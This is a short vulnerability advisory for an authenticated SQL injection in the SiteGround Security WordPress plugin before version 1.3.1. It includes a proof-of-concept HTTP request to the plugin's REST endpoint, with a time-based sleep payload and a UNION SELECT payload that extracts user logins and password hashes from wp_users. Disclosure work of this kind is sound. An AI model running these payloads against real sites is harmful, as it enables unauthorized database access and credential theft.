SiteGround Security < 1.3.1 - Admin+ SQLi

2023-01-1300:00:00

So Sakaguchi

siteground

sql injection

security vulnerability

admin+

wp_users

wp-json

EPSS

0.001

Percentile

51.2%

JSON

The plugin does not properly sanitize user input before using it in an SQL query, leading to an authenticated SQL injection issue.

1:

POST /wordpress/index.php/wp-json/sg-security/v1/activity-registered HTTP/1.1
Host: YOUR HOST
X-WP-Nonce: YOUR NONCE
Cookie: [Admin+]
Content-Length: 155

{"limitedView":1,"filters":[{"wp_name":"user","children":[{"value":"1-sleep(3); #"}]}]}

2:

Alternate payload for extracting info from the wp_users table;

{"limitedView":1,"filters":[{"wp_name":"user","children":[{"value":"1 UNION SELECT 1,1,1,user_login,user_pass,1,1,1,1,1,1,1 FROM wp_users; #"}]}]}